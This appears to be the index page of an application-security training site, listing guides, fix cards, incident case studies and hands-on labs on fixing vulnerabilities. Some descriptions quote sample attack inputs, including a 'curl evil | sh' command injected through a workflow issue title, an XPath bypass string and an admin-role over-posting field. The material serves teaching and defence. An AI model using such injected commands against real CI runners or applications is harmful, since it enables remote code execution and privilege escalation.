Keep generated output out of executable contexts

Choose safe rendering and narrow operations so model text cannot become browser code, database syntax or an unrestricted command.AI security · LLM applications

Contain LLM misinformation (OWASP LLM07:2026)

Stop plausible but wrong model output from driving decisions and actions: ground answers in sources, verify every citation, separate generation from execution with a claim-check-act pattern, gate consequential actions on a human, and evaluate factuality on your own domain.AI security · LLM applications

Keep secrets and controls out of hidden context (OWASP LLM08:2026)

OWASP LLM08:2026 Hidden Context Exposure, which replaced System Prompt Leakage: why system prompts, tool schemas and retrieved policy text get extracted, what must never be in them, and how to enforce rules where a leak changes nothing.AI security · Agents, tools and MCP

Authorize agent tools outside the model

Bind each proposed action to the user, resource and approved arguments before allowing a tool to cause a side effect.AI security · Agents, tools and MCP

Bound agent spending, memory and recovery

Enforce budgets and stop conditions outside the model, and make retained context and side effects recoverable.AI security · Agents, tools and MCP

Constrain MCP and multi-agent trust boundaries

Validate each connection and delegated action without treating a token for another service, a tool description, another agent or a state handle as authority.AI security · Agents, tools and MCP

Contain cascading failures and rogue agents

Stop a looping, compromised or drifting agent from spreading harm: kill switches, budget and rate limits, circuit breakers, behavior monitoring, blast-radius limits, quarantine, rollback and incident response, all enforced outside the agent.AI security · Agents, tools and MCP

Secure AI-assisted development with coding assistants and agents

Treat generated code, suggested packages, repository text and MCP servers as untrusted inputs, and confine coding agents with OS-level isolation and short-lived, narrowly scoped credentials.AI security · Agents, tools and MCP

Sandbox model-generated code and computer-use agents

Run the code an agent writes, and agents that drive a browser or desktop, inside a boundary built for hostile code: a disposable runtime with no secrets and no default network, hard resource limits, and a person in front of every side effect.AI security · Agents, tools and MCP

Defend agent memory and context against poisoning (OWASP ASI06)

OWASP ASI06 Memory & Context Poisoning: how an instruction or false fact saved once in agent memory, conversation summaries or a retrieval store steers later sessions, users and agents, and the write, scope, provenance, expiry and recovery controls that contain it.AI security · Models and training data

Treat model releases as executable supply-chain inputs

Verify provenance, constrain loading and preserve the relationship between model weights, configuration and runtime dependencies.AI security · Models and training data

Protect training and retrieval data from targeted poisoning

Track who can influence datasets, keep evaluation independent and investigate targeted behavior changes without relying on aggregate accuracy.AI security · Models and training data

Assess extraction, membership and inference risks

Define what an adversary can observe and measure privacy leakage without confusing a model’s output with proof about its training data.AI security · Evaluation and red teaming

Build evaluations around prohibited outcomes

Test the application’s actual security boundaries, preserve legitimate tasks and distinguish deterministic enforcement from variable model behavior.AI security · Evaluation and red teaming

Red-team LLM applications and agents by their effects

A red-teaming method for LLM features and agents: scope the whole system, map attacks to OWASP and MITRE ATLAS identifiers, score trials from observed effects, report rates with confidence intervals and retest on every model or provider change.AI security · Governance and regulation

Turn NIST AI RMF, ISO/IEC 42001 and EU AI Act duties into engineering evidence

What the NIST AI RMF and its Generative AI Profile, ISO/IEC 42001 and the EU AI Act, as amended in 2026, ask of teams that build AI features, turned into engineering practices and one set of evidence. Not legal advice.

Recipes 3

AppSec · Secure coding

Fix SQL injection in Python sqlite3

Bind query values separately from SQL syntax, then prove the fix preserves legitimate behavior and blocks an injection probe.Identity & crypto · Encryption, keys and secrets

Contain a leaked secret, then investigate and clean up

Revoke an exposed API key, token or private key at its issuer before anything else, end the sessions it minted, check the provider's logs, then remove every copy and replace it with a credential that expires on its own.AI security · LLM applications

Call a hosted LLM API safely

A code-first checklist for wiring up an OpenAI or Anthropic API call from a backend: keep keys server-side, redact PII before prompts and logs, choose provider retention settings deliberately, validate structured output and still treat it as untrusted, and set timeouts, retries and per-user cost caps.

Weaknesses with fix cards 30

AppSec · CWE-79 · Node.js · Python · Java · C# · Next.js · Django · Go · Rails · Laravel

Cross-site scripting (XSS)

Cross-site scripting happens when request or stored data is written into a page without encoding for the exact spot it lands in, so the browser runs it as markup or script instead of showing it as text.AppSec · CWE-89 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

SQL injection

SQL injection happens when request data is pasted into the text of a SQL statement, so a crafted value can end a string literal and change what the query does: return other customers' rows, drop a filter or read columns the API never returns.AppSec · CWE-352 · Node.js · Python · Java · C# · Django · Rails · Laravel

Cross-site request forgery (CSRF)

Cross-site request forgery happens when a server accepts a state-changing request because it carries the user's session cookie.AppSec · CWE-862 · CWE-639 · CWE-863 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Missing object-level authorization (IDOR and BOLA)

Missing object-level authorization (IDOR, called BOLA in the OWASP API list) happens when an API checks that a caller is signed in and then loads whatever invoice, order or file the request names, so changing an ID in the URL, the query string or a bulk export returns someone else's data.AppSec · CWE-22 · CWE-23 · CWE-36 · CWE-59 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Path traversal

Path traversal happens when a file name or path from a request is joined to a base directory and opened without checking where the result lands.AppSec · CWE-78 · CWE-88 · Node.js · Python · Java · C# · Next.js · Go

OS command and argument injection

Command injection happens when request data is pasted into a command line that a shell then parses, so a crafted value can start a second command (OS command injection, CWE-78) or add an unintended option to the one you meant to run (argument injection, CWE-88).AppSec · CWE-94 · CWE-95 · Node.js · Python · Java · C# · FastAPI

Code injection

Code injection happens when user input is evaluated as code: eval or new Function in JavaScript, a Spring Expression Language (SpEL) StandardEvaluationContext in Java, or Roslyn scripting in C#.AppSec · CWE-1336 · CWE-94 · CWE-95 · Node.js · Python · Java · C#

Server-side template injection

Template injection happens when request data reaches a template engine as template text rather than as data, so the engine compiles and evaluates it.AppSec · CWE-434 · CWE-646 · CWE-73 · CWE-770 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Unrestricted file upload

Unrestricted file upload happens when an endpoint stores whatever a client sends and later serves or processes it as if it were the kind of file the feature expects.AppSec · CWE-502 · Node.js · Python · Java · C# · FastAPI · Rails · Laravel

Insecure deserialization

Insecure deserialization happens when a service rebuilds objects from bytes it received from a client, letting the input choose which types are created and what runs while they are built.Identity & crypto · CWE-306 · CWE-287 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Missing authentication for a critical function

Missing authentication for a critical function happens when a route that returns user or internal data runs without a verified caller: the endpoint has no authentication, or it reads identity from the request itself (a userId parameter, an X-Authenticated-User header an upstream proxy was supposed to set) and so authenticates nothing.AppSec · CWE-918 · Node.js · Python · Java · C# · Next.js · FastAPI · Go · Django · Rails · Laravel

Server-side request forgery (SSRF)

SSRF happens when a server fetches a URL chosen by the caller without constraining where the request can actually go, so the attacker borrows the server's network position to reach loopback, link-local (cloud metadata at 169.254.169.254), private or other internal addresses.AppSec · CWE-770 · CWE-400 · Node.js · C# · FastAPI · Go

Unbounded resource consumption

Unbounded resource consumption happens when a request can make the server spend without limit: an unbounded request body, a batch or page size the caller chooses, or an endpoint with no rate limit, so one client exhausts memory, CPU or the connection pool.AppSec · CWE-1021 · Node.js · Python · Next.js · Django

Clickjacking

Clickjacking (a UI redress attack) happens when a sensitive page can be loaded in a frame by another site, which overlays a decoy so a victim's click lands on the real control.AppSec · CWE-942 · CWE-346 · Node.js · Python · Java · C#

CORS misconfiguration on credentialed APIs

A CORS misconfiguration lets a page on another origin read an API's responses with the user's cookies.AppSec · CWE-117 · CWE-93 · CWE-113 · Node.js · Python · Java

CRLF injection in logs and response headers

CRLF injection happens when request data is written into a line-oriented format, such as a log file or an HTTP header, without encoding, so a carriage return or line feed in it ends the current record and starts one the attacker wrote.AppSec · CWE-1236 · Node.js · Python · Java · C# · Django · Rails

CSV formula injection

CSV formula injection (also called CSV or formula injection) happens when user-supplied data is written to a CSV (or TSV) export and a spreadsheet later reads a cell beginning with =, +, -, @, tab or carriage return as a live formula -- which can exfiltrate data with HYPERLINK, call DDE, or mislead the reader.Identity & crypto · CWE-798 · CWE-260 · CWE-261 · Node.js · Python · Java · C#

Hard-coded secrets

A hard-coded secret is a credential written into the code or into a file committed with it: an API key in a string constant, a password in application.properties or appsettings.json, a token in a checked-in .env file.Identity & crypto · CWE-295 · CWE-297 · CWE-296 · Node.js · Python · Java · C# · Go

Improper TLS certificate validation

TLS protects a connection only if the client checks who is at the other end.Identity & crypto · CWE-330 · CWE-338 · Node.js · Python · Java · C# · Go

Insecure randomness for security tokens

A password-reset token or session ID is only as strong as the randomness behind it.Identity & crypto · CWE-347 · CWE-287 · Node.js · Python · Java · C# · Next.js · FastAPI · Go

JWT validation in APIs (bearer tokens)

An API that accepts JWT bearer tokens has to establish, on every request, that the token was signed by the issuer it trusts, with the algorithm it expects, for this API, and that it has not expired.AppSec · CWE-90 · Python · Java

LDAP filter injection

LDAP filter injection happens when request data is concatenated into an LDAP search filter, so the metacharacters of RFC 4515 (* ( ) \ and NUL) are parsed as filter syntax instead of data.AppSec · CWE-915 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Mass assignment (over-posting)

Mass assignment, also called over-posting or autobinding, happens when an endpoint copies every field the request body names onto a stored object.AppSec · CWE-943 · Node.js · Python

NoSQL operator injection

MongoDB filters are objects, and a key that starts with $ is an operator.AppSec · CWE-601 · Node.js · Python · Java · C# · Next.js · FastAPI · Django · Go · Rails · Laravel

Open redirect

An open redirect happens when a page sends the browser to a URL taken from the request without checking where it points.AppSec · CWE-1333 · Node.js · Python · Java · C#

Regular-expression denial of service (ReDoS)

A regular-expression denial of service happens when untrusted input is matched against a pattern whose worst-case running time is super-linear - usually from a nested quantifier such as (X+)+, an overlapping alternation such as (a|aa)+, or a quantified group followed by something that can fail.Identity & crypto · CWE-384 · CWE-613 · CWE-614 · CWE-1004 · CWE-1275 · Node.js · Python · Java · C# · Rails · Laravel

Session fixation and session cookies

A session cookie is a bearer credential: whoever presents its value is the signed-in user.Identity & crypto · CWE-916 · CWE-759 · CWE-327 · Node.js · Python · Java · C# · FastAPI · Django · Go · Laravel

Weak password hashing

Weak password hashing turns a leaked users table into a list of passwords.AppSec · CWE-611 · CWE-776 · Python · Java · C#

XML external entity (XXE) processing

XXE happens when a server parses XML from a client with a parser that still processes the Document Type Definition (DTD).AppSec · CWE-643 · CWE-91 · Python · Java · C#

XPath injection

XPath injection happens when untrusted data is concatenated into an XPath query against an XML document, so a payload such as ' or '1'='1 changes the query's logic -- turning a login into an authentication bypass or a directory search into a dump of every record.

References 10

AppSec · Design and code review

Abuse case library: tests and controls by feature

Recurring abuse cases for sign-up and login, password reset, MFA enrolment, invites, file upload, payments and coupons, webhooks, search, export, admin and AI chat or agents: the attacker goal, preconditions, a concrete test and the control, each linked to CWE and CAPEC.AppSec · Design and code review

Threat pattern library for threat modeling

Thirty-two recurring threat patterns grouped by identity, authorization, parsers, concurrency, integrations, data exposure, supply chain, availability and AI agents, each with where it shows up on a data-flow diagram, mitigations, a verification step and STRIDE, CWE and CAPEC links, plus a YAML catalog and a script that lists patterns per diagram element.AppSec · Design and code review

Secure design patterns: a catalogue for insecure-design (A06)

A catalogue of reusable secure-design patterns, grouped by concern, each with when to use it, a short example and the failure it prevents: choke-point authorization, capability tokens, parse-don't-validate, safe-by-default APIs, tenant scoping, fail-closed, idempotency, and more.Identity & crypto · Encryption, keys and secrets

Choose cryptographic algorithms and parameters by job

A sourced quick reference for October 2026: which algorithm and parameters to use for encryption, hashing, passwords, MACs, signatures, key agreement, key derivation, randomness and TLS, the matching APIs in Node.js, Python, Java, Go and .NET, and where post-quantum migration stands.Identity & crypto · Historical failures

ECB mode: why it leaks patterns and what to use instead

Derive exactly what ECB reveals and why a longer key cannot fix it, find where ECB enters real code, and replace it with an authenticated mode.Identity & crypto · Historical failures

Padding oracle attacks

Use a byte-level CBC example to see how a tiny validity signal becomes plaintext information, then design verification that checks more than the error message.Identity & crypto · Historical failures

Hash collisions and digital signatures: MD5, SHA-1 and what to use

Distinguish collisions from preimages, follow a colliding pair through signing and verification, and retire MD5 and SHA-1 from the verifiers that still accept them.Identity & crypto · Historical failures

Weak RSA key generation: shared primes, ROCA and safe keys

Recover a toy RSA factor with a greatest common divisor, distinguish shared primes, structured primes, duplicate keys and key length, and check a fleet of real public keys.Identity & crypto · Historical failures

RC4 keystream bias

Understand why fresh RC4 keys do not remove keystream bias and how repeated secret positions turn a small statistical effect into evidence.Identity & crypto · Historical failures

64-bit block ciphers and the Sweet32 mechanism

Calculate the birthday effect for 64-bit blocks and derive the CBC relation that can turn a collision into a plaintext disclosure.

Case studies 31

AppSec · Secure coding

Case study: Spring4Shell (CVE-2022-22965)

How Spring's data binding let request parameters reach the class loader on JDK 9 and later in 2022, why the denylist workaround leaked, and what it teaches about framework-level mass assignment.AppSec · Access control

Case study: First American's EaglePro document exposure (2019)

How sequential IDs in unauthenticated links exposed First American's title documents in 2019, after its own penetration test found the flaw and a clerical error let it go unfixed.AppSec · Mobile, desktop, embedded and smart contracts

Case study: CrowdStrike Channel File 291 (July 2024)

How a CrowdStrike content update crashed Windows hosts in July 2024: a field-count mismatch hidden by wildcard tests, a missing bounds check, and no staged rollout.AppSec · Vulnerability response

Case study: Log4Shell (CVE-2021-44228)

How a JNDI lookup in Apache Log4j became internet-wide remote code execution, why transitive and shaded dependencies made it so hard to patch, which mitigations held, and what it teaches about dependency inventory and SBOMs.AppSec · Vulnerability response

Case study: MOVEit Transfer mass exploitation (CVE-2023-34362)

How one unauthenticated SQL injection in an internet-facing file transfer product let the Cl0p group steal data from thousands of organizations in days in 2023, how defenders found the web shell, and the vendor and customer controls that would have limited it.AppSec · Vulnerability response

Case study: Citrix Bleed (CVE-2023-4966)

How a NetScaler memory over-read leaked session cookies that bypassed passwords and MFA in 2023, why patching did not end hijacked sessions, and how the pattern returned in 2025.Supply chain · Dependencies and VEX

Case study: the Shai-Hulud npm worm (2025-2026)

How a self-replicating npm worm turned stolen tokens into hundreds of infected packages in 2025, how its 2026 successors hijacked release pipelines and trusted publishing, what npm and GitHub changed in response, and the publishing, install and response practices that stop it.Supply chain · Dependencies and VEX

Case study: the xz Utils backdoor (CVE-2024-3094)

How a multi-year maintainer takeover planted a backdoor in xz Utils release tarballs, how build-time injection hid it from the git repository, why a performance anomaly exposed it, which systems shipped it, and what it teaches about reproducible builds and maintainer health.Supply chain · Dependencies and VEX

Case study: event-stream and ua-parser-js, two npm package takeovers

Two ways attackers took over popular npm packages: event-stream (2018), handed to a stranger who added a targeted, encrypted payload through a new dependency, and ua-parser-js (2021), whose maintainer's account was hijacked to publish versions that installed malware for four hours. Timelines, detection and the controls that stop both.Supply chain · Dependencies and VEX

Case study: the polyfill.io CDN takeover (2024)

How the sale of the polyfill.io domain and project in February 2024 turned a script tag on more than 100,000 websites into a channel for malicious redirects by June, why Subresource Integrity could not have protected it, and the controls that would have.Supply chain · CI/CD and builds

Case study: the tj-actions/changed-files compromise (CVE-2025-30066)

In March 2025 an attacker moved the version tags of a popular GitHub Action, and of a reviewdog action before it, to code that printed CI secrets into build logs. This case study traces the token chain back to one pull_request_target workflow, sizes the exposure, and shows how it was caught and which controls held.Supply chain · CI/CD and builds

Case study: the SolarWinds Orion build compromise (SUNBURST)

How an implant on SolarWinds' build server inserted the SUNBURST backdoor into signed Orion updates in 2020, how it was found, why code signing and review could not catch it, and which build controls would have.Supply chain · CI/CD and builds

Case study: the Codecov Bash Uploader compromise (2021)

How a credential leaked through Codecov's Docker image process let an attacker change the Bash Uploader that many CI pipelines downloaded and ran, which sent their environment variables, and the secrets in them, to the attacker for two months in 2021.Supply chain · CI/CD and builds

Case study: the 3CX DesktopApp supply-chain attack (CVE-2023-29059)

How a trojanized trading application on one employee's personal computer led to 3CX's build servers and to signed, malicious 3CX DesktopApp releases in 2023: the first cascading software supply-chain compromise Mandiant had seen, how EDR caught it, and the controls that would have stopped it.Runtime & cloud · Cloud and infrastructure as code

Case study: the CircleCI security incident (January 2023)

How a session stolen from one engineer's laptop reached CircleCI's production systems and customers' stored secrets in 2023, and what platform operators and CI users should change.Runtime & cloud · Cloud and infrastructure as code

Case study: Microsoft AI researchers' over-permissive SAS token (2023)

How an over-permissive Azure Storage SAS token in a public repository for AI models exposed internal Microsoft data in 2023, and how to scope, scan for and revoke signed URLs.Runtime & cloud · Containers, Kubernetes and service identity

Case study: ingress-nginx CVE-2025-1974 and the exposed admission webhook (2025)

How an admission webhook open to the whole Pod network made ingress-nginx's configuration-injection bugs a 9.8 cluster-takeover risk in 2025, and what its 2026 retirement means.Identity & crypto · Sign-in, sessions and recovery

Case study: the Okta support-system breach and session tokens in HAR files (2023)

How a service account password saved to a personal browser profile let an attacker download customers' HAR files from Okta's support system, replay the session tokens inside them against five customers, and stay unseen for two weeks; and why HAR files are credentials, admin sessions need binding, and every exposed credential must be rotated.Identity & crypto · Federation and tokens

Case study: Storm-0558 and the forged Microsoft tokens (2023)

How a stolen 2016 consumer signing key and a token validation gap let Storm-0558 read enterprise Exchange Online mail in 2023, and what the review board found about rotation, logging and culture.Identity & crypto · Encryption, keys and secrets

Case study: the LastPass breach (2022)

How an attacker went from a compromised developer laptop to a DevOps engineer's home computer, the keys to LastPass's cloud backups and a copy of customer vaults; why each vault's safety then rested on its master password and PBKDF2 iteration count; and what it teaches about backup keys, privileged endpoints, KDF upgrades and unencrypted metadata.Identity & crypto · Encryption, keys and secrets

Case study: certificate expiry outages at Ericsson (2018) and Microsoft Teams (2020), and Equifax's blind spot

How an expired certificate inside Ericsson's core-network software cut mobile data for millions in about 11 countries, how an expired authentication certificate took Microsoft Teams offline, how an expired inspection certificate left Equifax blind for 19 months, through its 2017 breach, and the inventory, automation and testing that prevent each.Identity & crypto · Historical failures · Attack of 2001

WEP: RC4 key reuse and weak IVs

Separate WEP’s repeated-keystream failure, weak-IV key recovery, and unkeyed integrity weakness through a concrete two-packet exercise.Identity & crypto · Historical failures · Attack of 2012

Flame: MD5 certificate forgery

Follow how a weak digest and an overpowered certificate trust path enabled forged code-signing authority, without equating the event with RSA key theft.Identity & crypto · Historical failures · Attack of 2013–2014

Lucky Thirteen and POODLE: two different oracles

Compare two CBC oracles by their signal, protocol rules, and attacker prerequisites instead of treating them as interchangeable padding bugs.Identity & crypto · Historical failures · Attack of 2015

FREAK and Logjam: export-grade key exchange

Trace two export-grade downgrade paths and separate RSA factorization from finite-field Diffie–Hellman discrete logarithms.Identity & crypto · Historical failures · Attack of 2016

DROWN: one RSA key across incompatible protocols

Map an RSA key across services to see how an SSLv2 oracle could compromise TLS traffic on a different endpoint.Identity & crypto · Historical failures · Attack of 2016

Sweet32: the cost of a small block size

Read the 2016 Sweet32 demonstrations as evidence about traffic volume, repeated secrets, and session lifetime rather than treating a block-size threshold as an instant exploit.Identity & crypto · Historical failures · Attack of 2017

ROCA: structured RSA key generation

Understand why mathematically structured RSA primes were factorable despite normal key lengths, then plan replacement around generation provenance.AI security · LLM applications

Case study: Moffatt v. Air Canada, a chatbot that misstated the refund policy (2022-2024)

How an airline's website chatbot told a grieving customer they could claim a bereavement fare after travel, what the British Columbia Civil Resolution Tribunal decided in February 2024, and the grounding, testing and correction practices that keep an automated answer consistent with the policy it describes.AI security · Agents, tools and MCP

Case study: the Nx s1ngularity compromise and its AI-assisted payload (2025)

How a pull-request-title injection in a GitHub Actions workflow on an outdated branch gave an attacker the Nx npm token in August 2025, how the malicious versions tried to turn developers' own AI command-line tools into file-search agents, and the workflow, publishing and agent controls that stop the same chain.AI security · Agents, tools and MCP

Case study: the Amazon Q Developer extension compromise (2025)

How an over-scoped GitHub token, extracted from an AWS CodeBuild pull request build, let a threat actor commit code to the Amazon Q Developer extension for VS Code that shipped in version 1.84.0 in July 2025, why the injected code aimed at the Q Developer CLI failed, and the CI and AI-agent controls the incident argues for.

Workflows 6

Blank and completed work products

Fix a finding

Move from a scanner alert to a tested, durable fix.Blank and completed work products

Secure a feature

Make security part of the implementation, from the first decision.Blank and completed work products

Review a design

Trace data, challenge assumptions, and make risk decisions explicit.Blank and completed work products

Test an application

Build a focused test plan around trust boundaries and real behavior.Blank and completed work products

Respond to a vulnerability

Understand exposure, contain risk, and verify the recovery.Governance · Blank and completed work products

Build an AppSec program

Connect ownership, engineering practices, and evidence of improvement.

Learning paths 9

AppSec · Foundation · Software developers · 13 steps

Developer foundations

Start at the data boundary. Build habits that make common defects harder to introduce.AppSec · Foundation · Web and API developers · 18 steps

Browser and API boundaries

Protect state changes, browser policies, rendering, object access and concurrent business operations, repairing seven concrete defects along the way.AppSec · Practitioner · Application security engineers · 18 steps

AppSec in practice

Review a system, build a test plan, and carry a finding through to verified remediation.Identity & crypto · Practitioner · Identity and application engineers · 14 steps

Identity through the whole lifecycle

Connect login, token verification, phishing-resistant credentials, recovery and authorization to testable boundaries.Supply chain · Practitioner · Build engineers and product security teams · 12 steps

From source to trusted release

Generate and compare inventory, assess dependency risk, verify artifacts and retain evidence tied to the shipped release.Runtime & cloud · Practitioner · Platform and cloud security engineers · 13 steps

Runtime and cloud defense

Review workload identity, cluster boundaries, configuration drift, exposed APIs and incident evidence.AI security · Practitioner · AI application and security engineers · 11 steps

Secure an AI application

Keep retrieval, tool authority and output handling outside model discretion, then build an evaluation and operations plan.Identity & crypto · Specialist · Software security specialists · 12 steps

Cryptography without shortcuts

Pick primitives by job, build authenticated records, rotate keys, run TLS, plan post-quantum migration, then study past failures.Governance · Specialist · Security leads and assurance specialists · 11 steps

Build an evidence-driven security program

Set ownership and requirements, produce release-specific evidence, manage exceptions and scope external obligations.

Labs 38

AppSec · Foundation · 20–30 min · Runs in your browser

CSRF lab: Protect an account change from a forged request

An account settings handler trusts the session cookie even when another site causes the request. Repair the request policy and preserve legitimate settings updates.AppSec · Practitioner · 25–40 min · Runs in your browser

Path traversal lab: Keep archive entries inside their extraction directory

An import job writes archive entry names directly beneath its work directory. An entry containing ../ can escape. Repair the entry-name policy before any file is created.AppSec · Practitioner · 25–40 min · Runs in your browser

Race condition lab: Repair a balance check that races

Two simultaneous purchases both see the same balance and spend more credit than the account owns. Replace the read-then-write sequence with the supplied atomic debit.AppSec · Foundation · 20–30 min · Runs in your browser

IDOR lab: Repair an invoice authorization bug

Bob can retrieve Alice’s invoice by changing the URL. You own the endpoint’s permission check. Reproduce the leak, patch the function below, and prove that Alice can still read her invoice.AppSec · Advanced · 30–45 min · Runs in your browser

Webhook signature and replay lab: Repair a webhook handler that pays twice

Your handler rejects some genuine deliveries and records replayed payments twice. Fix the function below, then test valid, changed, replayed, and concurrent deliveries.AppSec · Advanced · 30–45 min · Runs in your browser

SSRF lab: Guard an outbound fetch against SSRF

A webhook sender fetches whatever URL the user gives it, and follows redirects. An attacker can point it at the cloud metadata service or an internal admin page, directly or through a redirect. Repair the guard so it resolves each host and refuses private addresses, in literals, encodings and redirects alike.AppSec · Foundation · 20–30 min · Runs in your browser

CORS policy lab: Grant CORS to the right origins only

An API reflects whatever Origin a request carries and allows credentials, so any website can read a signed-in user’s data from it. Repair the CORS policy so it grants access only to the configured origins and keeps caches correct.AppSec · Practitioner · 25–40 min · Runs in your browser

CSP builder lab: Build a strict Content-Security-Policy

A page sends a Content-Security-Policy whose script-src allows any HTTPS origin, so an injected external script runs despite the nonce. Repair the builder so it produces a strict nonce-based policy from the document’s declared needs.AppSec · Practitioner · 25–40 min · Runs in your browser

HTML sanitization lab: Configure a sanitizer for user comments

A comment feature keeps the formatting users submit, but its sanitizer configuration re-enables event handlers, unknown URL schemes and extra tags, so a comment can run script. Repair the configuration so only a small set of formatting tags and safe links survive.AppSec · Practitioner · 25–40 min · Runs in your browser

Business logic lab: Price an order without trusting the client

A checkout trusts the price and quantity each cart line sends, adds every coupon code it recognizes, and never limits redemptions. Customers can choose their price, order negative quantities and stack discounts. Repair the pricing function so every amount comes from server data and every coupon rule holds.AppSec · Foundation · 20–30 min · Runs in your browser

SQL injection lab: Separate SQL structure from data with sqlite3

A product search builds its SQL by formatting the shopping category and search term straight into the query string, so a crafted term can read other tables or return every row. Repair it to use sqlite3 parameters, while keeping the legitimate search working.AppSec · Practitioner · 25–40 min · Runs in your browser

Path traversal lab: Serve an uploaded file without path traversal

A download endpoint joins the requested name onto the upload directory and opens it, so ../ or an absolute path reads files anywhere on disk, and a symlink in the directory points outside it. Repair it to resolve the final path and refuse anything outside the upload directory.AppSec · Practitioner · 25–40 min · Runs in your browser

SSRF validation lab: Validate a fetch URL with ipaddress

An image importer fetches any URL a user submits, so a crafted URL reaches the cloud metadata service or an internal host, directly or through an encoded IP literal. Repair the validator so it parses the URL, resolves the host and allows only public addresses.AppSec · Foundation · 20–30 min · Runs in your browser

Open redirect lab: Return users to this site only

After sign-in, the login page redirects to whatever its next parameter says, so a link to your own domain can end on a look-alike site. Return users only to a page on this site.AppSec · Practitioner · 25–40 min · Runs in your browser

File upload lab: Accept avatars without publishing pages

A profile-picture upload trusts the client’s Content-Type and file name, stores files in the public folder and serves them with the client’s type, so an SVG with a script runs in the site’s origin. Repair the upload decision.AppSec · Practitioner · 25–40 min · Runs in your browser

OS command injection lab: Run git without a shell

A repository browser pastes request values into a git command line for the shell, so a semicolon starts a second command and a leading dash becomes a git option. Run git directly, with each value as one argument.AppSec · Foundation · 20–30 min · Runs in your browser

Mass assignment lab: Update only the fields users may edit

PATCH /me merges the whole request body into the stored user, so adding "role": "admin" turns a member into an administrator. Change only the fields a user may edit on their own profile.AppSec · Practitioner · 25–40 min · Runs in your browser

Buffer over-read lab: Stop a heartbeat over-read

A model of C memory: a TLS heartbeat handler echoes as many bytes as the request claims, not as many as arrived, so a short request returns the next client’s cookie, as Heartbleed did. Add the bounds checks.AppSec · Practitioner · 25–40 min · Runs in your browser

SSTI lab: Render a welcome banner without template injection

A welcome banner is built by concatenating the user’s display name into a Jinja template string, so a crafted name is evaluated as a template: it runs expressions, bypasses autoescaping and reads the render context. Repair render_welcome so the name is data, not template source.AppSec · Practitioner · 25–40 min · Runs in your browser

XXE lab: Parse an uploaded invoice without resolving external entities

An invoice importer parses uploaded XML with a parser that resolves external entities, so a crafted DOCTYPE reads a local file into the response (XXE). Repair parse_invoice so the parser never resolves external entities, loads no DTD and makes no network request.AppSec · Practitioner · 25–40 min · Runs in your browser

Pickle deserialization lab: Load a session token without pickle

A session loader parses JSON but falls back to pickle for “legacy” tokens, so a crafted pickle runs code when it is loaded. Repair load_token to parse JSON only and validate it against a fixed schema, and leave no path that unpickles untrusted bytes.Supply chain · Foundation · 20–30 min · Runs in your browser

SBOM completeness lab: Find the dependencies missing from a release SBOM

A release SBOM lists only direct dependencies. The shipped artifact also contains a bundled parser and a transitive helper. Repair the comparison so inventory omissions remain visible.Supply chain · Practitioner · 25–40 min · Runs in your browser

Signed artifact provenance lab: Reject a release from the wrong producer

A deployment gate accepts any signed artifact. A valid signature from an unrelated repository can therefore reach production. Repair the trust policy applied to verified evidence.Supply chain · Practitioner · 25–40 min · Runs in your browser

Actions injection lab: Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.Runtime & cloud · Practitioner · 25–40 min · Runs in your browser

Privileged container lab: Reject a privileged workload before deployment

A deployment review checks only the first container. A privileged init container slips through. Repair a deliberately small admission predicate and test all container lists.Runtime & cloud · Practitioner · 25–40 min · Runs in your browser

NetworkPolicy lab: Lock down a shop namespace

One hurried NetworkPolicy lets every pod in every namespace reach the API, and nothing protects the web tier or the database. Rewrite the shop namespace’s policies so only the flows the application needs are allowed.Runtime & cloud · Practitioner · 25–40 min · Runs in your browser

IAM trust policy lab: Evaluate a role trust policy against the confused deputy

An evaluator for AWS sts:AssumeRole trust policies matches the principal and action but ignores the Condition block and does not honour an explicit Deny, so a broad principal can assume a role without the external id — the confused deputy. Repair evaluate_trust to enforce conditions and Deny.Identity & crypto · Practitioner · 25–40 min · Runs in your browser

JWT validation lab: Validate the purpose and audience of a token

An API accepts a correctly signed token intended for another service. Repair claim validation after the trusted signature verifier has finished.Identity & crypto · Practitioner · 25–40 min · Runs in your browser

Password reset token lab: Make a recovery credential single-use

A recovery link can be redeemed twice when two requests arrive together. Repair redemption so token validation and account changes share one atomic operation.Identity & crypto · Advanced · 30–45 min · Runs in your browser

AES-GCM nonce reuse lab: Fix a nonce allocator that breaks after restart

A service encrypts payment instructions with AES-GCM. Its local counter resets after a restart and exposes another message. Repair the allocator without changing the encryption algorithm.Identity & crypto · Advanced · 30–45 min · Runs in your browser

JWT verification lab: Verify a JWT before trusting it

An API decodes the JWT it receives and trusts the claims without checking the signature or the algorithm, so an attacker can forge an admin token with alg "none" or sign one with a key the API never issued. Repair the verifier so it confirms the algorithm and signature first, then the claims.Identity & crypto · Advanced · 30–45 min · Runs in your browser

OAuth redirect and PKCE lab: Match redirect URIs and verify PKCE

An authorization server accepts any redirect_uri that starts with a registered one, skips PKCE for codes issued without a challenge and accepts the plain method. Repair both checks so stolen or injected codes cannot be redeemed.Identity & crypto · Practitioner · 25–40 min · Runs in your browser

Insecure randomness lab: Generate unguessable API keys

An integration service issues 16-character API keys from Math.random, which is not built to be unpredictable. Take every character from the system’s secure generator, lengthen the key and map bytes without bias.Identity & crypto · Practitioner · 25–40 min · Runs in your browser

Password hashing lab: Verify and upgrade an Argon2 password hash on login

A login check verifies stored password hashes but never upgrades a weak or outdated one, so hashes created with tiny parameters or the wrong Argon2 variant stay that way forever. Repair check_login to verify with Argon2id at the policy minimum and rehash on a successful login.Governance · Advanced · 30–45 min · Runs in your browser

Release evidence lab: Keep stale test evidence out of a release decision

A release report says every required check passed, but some evidence belongs to an old commit or another service. Repair the evidence-selection function before the report hides those gaps.AI security · Practitioner · 25–40 min · Runs in your browser

RAG access control lab: Stop a retriever from returning another tenant’s documents

A search helper sends every matching document to a model and asks the model to respect permissions. Repair filtering before any content reaches the model.AI security · Advanced · 30–45 min · Runs in your browser

Excessive agency lab: Bind an agent’s action to the approved arguments

